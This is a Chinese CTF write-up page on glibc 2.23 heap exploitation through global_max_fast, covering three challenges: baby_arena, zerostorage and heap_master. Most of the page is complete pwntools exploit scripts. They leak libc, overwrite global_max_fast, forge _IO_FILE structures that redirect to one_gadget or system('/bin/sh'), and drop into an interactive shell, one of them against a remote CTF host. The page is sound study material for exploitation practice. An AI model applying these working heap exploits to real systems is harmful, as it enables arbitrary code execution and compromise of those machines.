Global_Max_Fast

逐渐补充一些不常见的利用方式,此页补充了Global_Max_Fast的利用,不定期更新

baby_arena_BCTF2018

libc-2.23的环境,简单泄漏libc_base,然后利用login处的任意写,将global_max_fast改为’admin’,将申请到的0x1400的块大小释放既可覆盖_IO_list_all指针指向0x1400的堆块,只需要将fake_IO布置到其中,然后vtable+0x18令为one_gadget,由于不易泄漏heap_base,故将one_gadget放置到bss段.
另外一种方法是2.24对IO加了check后产生的新方法,利用_IO_str_jumps实现getshell

1
from pwn import*
2
def new(size,content):
3
	p.sendlineafter('exit','1')
4
	p.sendlineafter('size',str(size))
5
	p.sendafter('note',content)
6
def free(index):
7
	p.sendlineafter('exit','2')
8
	p.sendlineafter('id:',str(index))
9
def login(name,choice):
10
	p.sendlineafter('exit','3')
11
	p.sendafter('name',name)
12
	p.sendlineafter('type',str(choice))
13
p = process('./main')
14
libc = ELF('./libc-2.23.so',checksec=False)
15
context.log_level ='DEBUG'
16
new(0x300,'FMYY\n')
17
new(0x1400,'FMYY\n')
18
free(0)
19
new(0x300,'\n')
20
p.recvline()
21
p.recvline()
22
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 88 - libc.sym['__malloc_hook'] - 0x10
23
log.info('LIBC:\t' + hex(libc_base))
24
main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
25
one_gadget = libc_base + 0xF1147
26
Global_max_fast = libc_base + 0x3C67F8
27
IO_list_all = libc_base + libc.sym['_IO_list_all']
28
login(p64(one_gadget) + p64(Global_max_fast-8),1)
29
free(1)
30
fake_IO_FILE  = p64(0xFBAD1800) + p64(0)*3
31
fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
32
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
33
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
34
fake_IO_FILE += p64(0x6020B0 - 0x18)
35
new(0x1400,fake_IO_FILE[0x10:] + '\n')
36
free(1)
37
p.sendlineafter('exit','1')
38
p.sendlineafter('size','512')
39
p.interactive()
1
from pwn import*
2
def new(size,content):
3
	p.sendlineafter('exit','1')
4
	p.sendlineafter('size',str(size))
5
	p.sendafter('note',content)
6
def free(index):
7
	p.sendlineafter('exit','2')
8
	p.sendlineafter('id:',str(index))
9
def login(name,choice):
10
	p.sendlineafter('exit','3')
11
	p.sendafter('name',name)
12
	p.sendlineafter('type',str(choice))
13
p = process('./main')
14
libc = ELF('./libc-2.23.so',checksec=False)
15
context.log_level ='DEBUG'
16
new(0x300,'FMYY\n')
17
new(0x1400,'FMYY\n')
18
free(0)
19
new(0x300,'\n')
20
p.recvline()
21
p.recvline()
22
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 88 - libc.sym['__malloc_hook'] - 0x10
23
log.info('LIBC:\t' + hex(libc_base))
24
binsh = libc_base + libc.search('/bin/sh').next()
25
system = libc_base + libc.sym['system']
26
Global_max_fast = libc_base + 0x3C67F8
27
IO_list_all = libc_base + libc.sym['_IO_list_all']
28
IO_str_jumps = libc_base +0x3C37A0
29
login(p64(0) + p64(Global_max_fast-8),1)
30
free(1)
31
fake_IO_FILE  = p64(0xFBAD2887) + p64(0)*3
32
fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
33
fake_IO_FILE += p64(0) + p64(binsh)
34
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
35
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
36
fake_IO_FILE += p64(IO_str_jumps-8)
37
fake_IO_FILE += p64(0) + p64(system)
38
new(0x1400,fake_IO_FILE[0x10:] + '\n')
39
free(1)
40
p.sendlineafter('exit','1')
41
p.sendlineafter('size','512')
42
p.interactive()

下载

MAIN EXPI EXPII LIBC

zerostorage_0CTF2016

根据raycp师傅所述,预期解与内核版本有关,所以也不好搭环境,那么这里是在2.23下打通的,raycp师傅的EXP需要泄漏heap_base,其实可以不劫持Vtable,直接利用IO_Str_Jumps即可简单getshell,洞在merge中,由于没有判断ID是否相同,以及结构体中储存的size为输入的size,并非实际空间的size,所以形成了UAF洞

1
from pwn import*
2
context(arch='AMD64',log_level='DEBUG')
3
def FILE(binsh,system,IO_str_jumps):
4
	fake_IO_FILE  = p64(0xFBAD2887) + p64(0)*3
5
	fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
6
	fake_IO_FILE += p64(0) + p64(binsh)
7
	fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
8
	fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
9
	fake_IO_FILE += p64(IO_str_jumps-8)
10
	fake_IO_FILE += p64(0) + p64(system)
11
	return fake_IO_FILE
12
def insert(size,content):
13
	p.sendlineafter('choice: ','1')
14
	p.sendlineafter('entry: ',str(size))
15
	content = content.ljust(size,'\x00')
16
	p.sendafter('data: ',content)
17
def update(ID,size,content):
18
	p.sendlineafter('choice: ','2')
19
	p.sendlineafter('ID: ',str(ID))
20
	p.sendlineafter('entry: ',str(size))
21
	content = content.ljust(size,'\x00')
22
	p.sendafter('data: ',content)
23
def merge(ID,MID):
24
	p.sendlineafter('choice: ','3')
25
	p.sendlineafter('from',str(ID))
26
	p.sendlineafter('ID: ',str(MID))
27
def delete(ID):
28
	p.sendlineafter('choice: ','4')
29
	p.sendlineafter('ID: ',str(ID))
30
def view(ID):
31
	p.sendlineafter('choice: ','5')
32
	p.sendlineafter('ID: ',str(ID))
33
def list(ID):
34
	p.sendlineafter('choice: ','6')
35
p = process('./main')
36
libc = ELF('./libc-2.23.so',checksec=False)
37
insert(0x40,'FMYY') #0
38
insert(0x40,'FMYY') #1
39
insert(0x80,'FMYY') #2
40
insert(0x1000-0x10,'FMYY')#3
41
insert(0x400,'FMYY') #4
42
insert(0x400,'FMYY') #5
43
insert(0x80,'FMYY') #6
44
merge(0,0)
45
view(7)
46
p.recvline()
47
libc_base = u64(p.recv(6).ljust(8,'\x00')) -88 - libc.sym['__malloc_hook'] -0x10
48
log.info('LIBC:\t' + hex(libc_base))
49
system = libc_base + libc.sym['system']
50
binsh = libc_base + libc.search('/bin/sh').next()
51
IO_str_jumps = libc_base + 0x3C37A0
52
Global_max_fast = libc_base + 0x3C67F8
53
IO_list_all = libc_base + libc.sym['_IO_list_all']
54
fake_IO_FILE = FILE(binsh,system,IO_str_jumps)
55
update(3,0x1000-0x10,fake_IO_FILE[0x10:])
56
delete(4)	#free the chunk4 which is next to the chunk3
57
merge(5,3)	#so the chunk3 and chunk4 will unlink,then we can get a 0x1410 chunk,emmm,the ID will be changed into 0
58
update(7,0x80,p64(0) + p64(Global_max_fast - 0x10))
59
insert(0x80,'FMYY')
60
delete(0)
61
p.sendlineafter('choice: ','1')
62
p.sendlineafter('entry: ',str(0x80))
63
p.interactive()

下载

MAIN EXP LIBC

heap_master_StarCTF2019

变相的一种UAF利用,首先利用unsorted bin attack修改global_max_fast的值,然后控制堆块释放掉覆盖[_IO_2_1_stdout_]中的变量,从而达到修改stdout的IO结构从而打印libc,最后释放一个块在__free_hook中,然后修改FD值,当将此块申请出来,原free_hook会留下所修改的FD值

1
from pwn import*
2
context.log_level ='DEBUG'
3
def new(size):
4
	p.sendline('1')
5
	sleep(0.01)
6
	p.sendline(str(size))
7
	sleep(0.01)
8
def edit(offset,size,content):
9
	p.sendline('2')
10
	sleep(0.01)
11
	p.sendline(str(offset))
12
	sleep(0.01)
13
	p.sendline(str(size))
14
	sleep(0.01)
15
	p.send(content)
16
	sleep(0.01)
17
def free(offset):
18
	p.sendline('3')
19
	sleep(0.01)
20
	p.sendline(str(offset))
21
	sleep(0.01)
22
p = process('./main')
23
p = remote('node3.buuoj.cn',27063)
24
elf =ELF('./main')
25
libc = ELF('./libc-2.23.so',checksec=False)
26
edit(0x20,0xC0,p64(0) + p64(0x91) + '\x00'*0x80 + p64(0) + p64(0x21) + '\x00'*0x10 + p64(0) + p64(0x21))
27
free(0x30)
28
edit(0x38,2,'\xE8\x37')
29
new(0x80)
30
edit(0x38,8,p64(0))
31
32
#modify the read_end
33
edit(0,0x10,p64(0) + p64(0x1630))
34
edit(0x1630,0x10,p64(0) + p64(0x21))
35
free(0x10)
36
37
#modify the write_base
38
edit(0,0x10,p64(0) + p64(0x1650))
39
edit(0x1650,0x10,p64(0) + p64(0x21))
40
free(0x10)
41
42
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_']
43
log.info('LIBC:\t' + hex(libc_base))
44
45
free_hook = libc_base + libc.sym['__free_hook']
46
rce = libc_base + 0x4526A
47
48
49
edit(0,0x10,p64(0) + p64(0x3920))
50
edit(0x3920,0x10,p64(0) + p64(0x21))
51
free(0x10)
52
edit(0x10,8,p64(rce))
53
new(0x3910)
54
free(0x10)
55
p.interactive()

下载

MAIN EXP LIBC

Contents
  1. 1. baby_arena_BCTF2018
    1. 1.1. 下载
  2. 2. zerostorage_0CTF2016
    1. 2.1. 下载
  3. 3. heap_master_StarCTF2019
    1. 3.1. 下载
|